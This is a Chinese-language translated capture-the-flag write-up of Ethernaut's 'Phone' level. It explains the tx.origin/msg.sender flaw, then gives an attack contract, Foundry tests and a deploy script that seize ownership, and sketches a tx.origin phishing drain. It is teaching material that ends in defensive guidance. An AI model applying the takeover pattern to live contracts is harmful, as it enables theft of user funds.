攻破电话:如何解决Ethernaut的挑战#4

本文深入解析了Ethernaut的Phone挑战,揭示了Solidity中tx.originmsg.sender的区别及其安全隐患。通过构建攻击合约并利用Foundry进行测试和部署,展示了如何利用tx.origin漏洞篡夺合约所有权。强调在实际DeFi项目中应避免使用tx.origin进行身份验证,并推荐使用msg.sender或基于角色的访问控制。

突破手机:如何解决 Ethernaut 的挑战 #4

领英上关注我,获取更多区块链开发内容。

你正在看 Ethernaut 的 Phone 挑战,并且感觉有些不对劲。这个合约看起来简单得具有欺骗性,但一个关键的漏洞就隐藏在其中。这不仅仅是成为所有者的问题——而是关于理解 Solidity 中最危险的陷阱之一,这个陷阱已经让协议损失了数百万美元。

在帮助开发者应对数十个智能合约挑战之后,我看到甚至有经验的工程师也被这种模式绊倒。这里是如何破解 Phone 挑战以及为什么这个漏洞在现实世界的 DeFi 中很重要。

挑战:我们正在处理什么?

Phone 合约为我们提供了一个看似简单的任务:成为所有者。但是,当你检查代码时,这条路径并不是一目了然的。

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Phone {
    address public owner = msg.sender;

    modifier onlyOwner() {
        require(msg.sender == owner, "caller is not the owner");
        _;
    }

    function changeOwner(address _owner) public {
        if (tx.origin != msg.sender) {
            owner = _owner;
        }
    }
}

乍一看,你可能会想:“我只要用我的地址调用 changeOwner() 就行了。”但这里有一个陷阱——这个函数只有在 tx.origin != msg.sender 时才起作用。

这就是大多数开发者卡住的地方。

漏洞:tx.origin vs msg.sender

这个挑战暴露了 Solidity 中最容易被误解的概念之一:tx.origin 和 msg.sender 之间的区别。

关键区别:

  • msg.sender:当前函数的直接调用者
  • tx.origin:启动交易链的原始外部帐户

以下是在不同情况下发生的事情:

直接调用(不起作用):

你的 EOA → Phone.changeOwner()
tx.origin = 你的 EOA
msg.sender = 你的 EOA
tx.origin == msg.sender ❌

合约调用(有效):

你的 EOA → 攻击合约 → Phone.changeOwner()
tx.origin = 你的 EOA
msg.sender = 攻击合约
tx.origin != msg.sender ✅

漏洞在于条件 tx.origin != msg.sender ——它阻止了直接调用,但允许通过中间合约进行调用。

解决方案:使用 Foundry 构建攻击合约

为了利用这个漏洞,我们需要创建一个代表我们调用 changeOwner() 的中间合约。我将向你展示如何使用 Foundry——最强大的智能合约开发工具包来构建、测试和部署它。

完整的 Foundry 项目设置

首先,让我们设置我们的 Foundry 项目结构:

## 初始化新的 Foundry 项目
forge init phone-attack
cd phone-attack

## 安装 OpenZeppelin 以进行测试实用程序
forge install OpenZeppelin/openzeppelin-contracts

步骤 1:创建目标合约

创建 src/Phone.sol - 这是我们正在攻击的易受攻击的合约:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Phone {
    address public owner;

    constructor() {
        owner = msg.sender;
    }

    modifier onlyOwner() {
        require(msg.sender == owner, "caller is not the owner");
        _;
    }

    function changeOwner(address _owner) public {
        if (tx.origin != msg.sender) {
            owner = _owner;
        }
    }
}

步骤 2:构建攻击合约

创建 src/PhoneAttack.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "./Phone.sol";

contract PhoneAttack {
    Phone public immutable phone;

    constructor(address _phoneAddress) {
        phone = Phone(_phoneAddress);
    }

    function attack() external {
        // This call will satisfy tx.origin != msg.sender
        // tx.origin = EOA that called this function
        // msg.sender = this contract's address
        phone.changeOwner(tx.origin);
    }

    function attackWithCustomOwner(address newOwner) external {
        // Alternative: Set any address as owner
        phone.changeOwner(newOwner);
    }
}

步骤 3:编写全面的测试

创建 test/PhoneAttack.t.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "../src/Phone.sol";
import "../src/PhoneAttack.sol";

contract PhoneAttackTest is Test {
    Phone public phone;
    PhoneAttack public attack;

    address public owner = address(0x1);
    address public attacker = address(0x2);
    address public victim = address(0x3);

    function setUp() public {
        // Deploy contracts as owner
        vm.prank(owner);
        phone = new Phone();

        // Deploy attack contract
        attack = new PhoneAttack(address(phone));

        // Verify initial state
        assertEq(phone.owner(), owner);
    }

    function testDirectCallFails() public {
        // Direct call should fail because tx.origin == msg.sender
        // Owner should remain unchanged
        vm.prank(attacker);
        phone.changeOwner(attacker);

        // Owner should remain unchanged
        assertEq(phone.owner(), owner);
    }

    function testAttackSucceeds() public {
        // Attack through contract should succeed
        // Owner should now be the attacker
        vm.prank(attacker);
        attack.attack();

        // Owner should now be the attacker
        assertEq(phone.owner(), attacker);
    }

    function testAttackWithCustomOwner() public {
        // Attack with custom owner address
        // Owner should be the victim
        vm.prank(attacker);
        attack.attackWithCustomOwner(victim);

        // Owner should be the victim
        assertEq(phone.owner(), victim);
    }

    function testCallContext() public {
        // Let's examine the call context during attack
        vm.prank(attacker);

        // Before attack
        console.log("Before attack:");
        console.log("Phone owner:", phone.owner());

        // Execute attack
        attack.attack();

        // After attack
        console.log("After attack:");
        console.log("Phone owner:", phone.owner());
        console.log("Attacker address:", attacker);

        assertEq(phone.owner(), attacker);
    }

    function testMultipleAttacks() public {
        // First attacker
        vm.prank(attacker);
        attack.attack();
        assertEq(phone.owner(), attacker);

        // Second attacker can also take over
        address secondAttacker = address(0x4);
        vm.prank(secondAttacker);
        attack.attack();
        assertEq(phone.owner(), secondAttacker);
    }
}

步骤 4:运行测试和分析

## 以详细输出运行所有测试
forge test -vvv

## 运行特定测试
forge test --match-test testAttackSucceeds -vvv

## 检查 gas 使用情况
forge test --gas-report

## 生成覆盖率报告
forge coverage

预期输出:

Running 5 tests for test/PhoneAttack.t.sol:PhoneAttackTest
[PASS] testAttackSucceeds() (gas: 28394)
[PASS] testAttackWithCustomOwner() (gas: 28416)
[PASS] testCallContext() (gas: 30691)
[PASS] testDirectCallFails() (gas: 23847)
[PASS] testMultipleAttacks() (gas: 45123)

步骤 5:部署并执行攻击

创建 script/Deploy.s.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/Script.sol";
import "../src/Phone.sol";
import "../src/PhoneAttack.sol";

contract DeployScript is Script {
    function run() external {
        uint256 deployerPrivateKey = vm.envUint("PRIVATE_KEY");
        vm.startBroadcast(deployerPrivateKey);

        // Deploy Phone contract (simulate Ethernaut instance)
        // Deploy attack contract
        Phone phone = new Phone();
        console.log("Phone deployed at:", address(phone));
        console.log("Initial owner:", phone.owner());

        // Deploy attack contract
        PhoneAttack attack = new PhoneAttack(address(phone));
        console.log("Attack contract deployed at:", address(attack));

        // Execute the attack
        attack.attack();
        console.log("Attack executed!");
        console.log("New owner:", phone.owner());

        vm.stopBroadcast();
    }
}

部署命令:

## 部署到本地 anvil 网络
anvil &
forge script script/Deploy.s.sol --rpc-url http://localhost:8545 --broadcast --private-key 0xac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80

## 部署到 Sepolia 测试网
forge script script/Deploy.s.sol --rpc-url https://sepolia.infura.io/v3/YOUR_KEY --broadcast --verify --etherscan-api-key YOUR_API_KEY

步骤 6:使用 Foundry 进行高级分析

创建 test/PhoneAnalysis.t.sol 以进行更深入的调查:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "../src/Phone.sol";
import "../src/PhoneAttack.sol";

contract PhoneAnalysisTest is Test {
    Phone public phone;
    PhoneAttack public attack;

    function setUp() public {
        phone = new Phone();
        attack = new PhoneAttack(address(phone));
    }

    function testCallTracing() public {
        // Enable call tracing
        vm.trace(true);

        address attacker = address(0x123);
        vm.prank(attacker);

        // This will show the complete call trace
        attack.attack();

        // Verify the attack worked
        assertEq(phone.owner(), attacker);
    }

    function testGasAnalysis() public {
        uint256 gasBefore = gasleft();

        vm.prank(address(0x123));
        attack.attack();

        uint256 gasUsed = gasBefore - gasleft();
        console.log("Gas used for attack:", gasUsed);

        // Compare with direct call gas usage
        gasBefore = gasleft();
        vm.prank(address(0x456));
        phone.changeOwner(address(0x456)); // This will fail but consume gas
        gasUsed = gasBefore - gasleft();
        console.log("Gas used for direct call:", gasUsed);
    }

    function testFuzzedAttacks(address randomAttacker) public {
        // Fuzz testing with random addresses
        vm.assume(randomAttacker != address(0));

        vm.prank(randomAttacker);
        attack.attack();

        assertEq(phone.owner(), randomAttacker);
    }
}

了解 Foundry 的魔力

为什么 Foundry 非常适合这个:

  1. vm.prank():模拟来自不同地址的调用
  2. 详细跟踪:准确查看每次调用中发生的事情
  3. Gas 分析:了解攻击的成本
  4. Fuzz 测试:自动测试随机输入
  5. 覆盖率报告:确保你已测试所有代码路径

主要 Foundry 命令:

## 以最大 verbosity 运行以查看调用跟踪
forge test -vvvv

## 运行模糊测试
forge test --fuzz-runs 1000

## 生成并查看覆盖率
forge coverage --report lcov
genhtml lcov.info -o coverage

现实世界的部署

对于实际的 Ethernaut 挑战:

// 获取你的 Ethernaut 实例地址
address ethernautInstance = 0x...; // 你的特定实例

// 部署攻击合约
PhoneAttack attack = new PhoneAttack(ethernautInstance);

// 执行攻击
attack.attack();

// 验证成功
Phone(ethernautInstance).owner(); // 应该是你的地址

为什么这个漏洞很重要

这不仅仅是一项学术练习。tx.origin 模式已在实际攻击中被利用:

真实世界的影响

tx.origin 的问题:

// 危险模式 - 不要这样做!
modifier onlyOwner() {
    require(tx.origin == owner, "Not owner");
    _;
}

这种模式容易受到网络钓鱼攻击

  1. 攻击者创建恶意合约
  2. 诱骗所有者调用恶意合约
  3. 恶意合约使用所有者的 tx.origin 调用受害者合约
  4. 受害者合约认为所有者直接进行了调用

安全的替代方案

始终使用 msg.sender 进行身份验证:

// 安全模式
modifier onlyOwner() {
    require(msg.sender == owner, "Not owner");
    _;
}

对于更复杂的场景,请使用基于角色的访问:

// 高级模式
import "@openzeppelin/contracts/access/AccessControl.sol";

contract SecureContract is AccessControl {
    bytes32 public constant ADMIN_ROLE = keccak256("ADMIN_ROLE");

    modifier onlyAdmin() {
        require(hasRole(ADMIN_ROLE, msg.sender), "Not admin");
        _;
    }
}

更深层次的教训:理解调用上下文

这个挑战教会了我们关于调用上下文——理解在复杂的交易链中谁在调用什么。

调用堆栈的可视化

Transaction: 你的 EOA 启动
├── 你的 EOA 调用 AttackContract.attack()
│   ├── tx.origin = 你的 EOA
│   ├── msg.sender = 你的 EOA
│   └── AttackContract 调用 Phone.changeOwner()
│       ├── tx.origin = 你的 EOA (不变)
│       ├── msg.sender = AttackContract (直接调用者)
│       └── Condition: tx.origin != msg.sender ✅

常见的误解

误解:“tx.origin 更安全,因为它无法被伪造”

现实tx.origin 可以通过社会工程和网络钓鱼来利用

误解:“msg.sender 不太可靠”

现实msg.sender 为访问控制提供最准确的调用上下文

高级攻击场景

一旦你理解了这种模式,你就会在其他上下文中认出它:

多跳攻击

你的 EOA → 合约 A → 合约 B → 易受攻击的合约
// tx.origin 在整个链中保持为你的 EOA
// msg.sender 在每次跳转时都会更改

通过 DeFi 协议进行网络钓鱼

// Victim thinks they're just approving a token
// But the malicious contract uses their tx.origin to drain funds
你的 EOA → “无辜的” DeFi UI → 恶意合约 → 受害者合约

分析工具

在分析类似漏洞时:

静态分析:

  • Slither:检测危险的 tx.origin 用法
  • Semgrep:用于身份验证模式的自定义规则

使用 Foundry 进行动态测试:

## 测试不同的调用上下文
forge test --match-test testCallContext -vvv

## 分析 gas 使用模式
forge test --gas-report

## 使用随机地址进行模糊测试
forge test --fuzz-runs 10000 --match-test testFuzzedAttacks

高级 Foundry 分析:

// 在你的测试文件中
function testDeepCallAnalysis() public {
    vm.trace(true); // 启用调用跟踪

    vm.prank(attacker);
    attack.attack();

    // Foundry 将显示完整的调用堆栈:
    // EOA -> PhoneAttack.attack() -> Phone.changeOwner()
}

手动审核清单:

  • 搜索 tx.origin 用法
  • 验证所有身份验证机制
  • 测试间接调用方案

底线

Phone 挑战不仅仅是成为所有者——而是关于理解交易发起者和直接调用者之间的根本区别。这种区别对于以下方面至关重要:

  1. 安全访问控制:始终使用 msg.sender 进行身份验证
  2. 网络钓鱼防护:永远不要信任 tx.origin 来进行安全决策
  3. 调用上下文感知:了解谁在调用你的函数

主要收获

使用 msg.sender 进行访问控制

永远不要使用 tx.origin 进行身份验证

使用间接调用测试你的合约

不要假设直接调用是唯一的攻击媒介

下次你在代码库中看到 tx.origin 时,问问自己:“这是否可以通过中间合约来利用?” 你的协议的安全性取决于正确理解这个基本概念。

请记住:在 Web3 中,每一行代码都是潜在的攻击面。理解调用上下文不仅仅是解决 CTF 挑战——而是关于构建保护用户资金的协议。

  • 原文链接: blog.blockmagnates.com/b...
  • 登链社区 AI 助手,为大家转译优秀英文文章,如有翻译不通的地方,还请包涵~
点赞 0
收藏 0
分享
本文参与登链社区写作激励计划 ,好文好收益,欢迎正在阅读的你也加入。

0 条评论

请先 登录 后评论
blockmagnates
blockmagnates
江湖只有他的大名,没有他的介绍。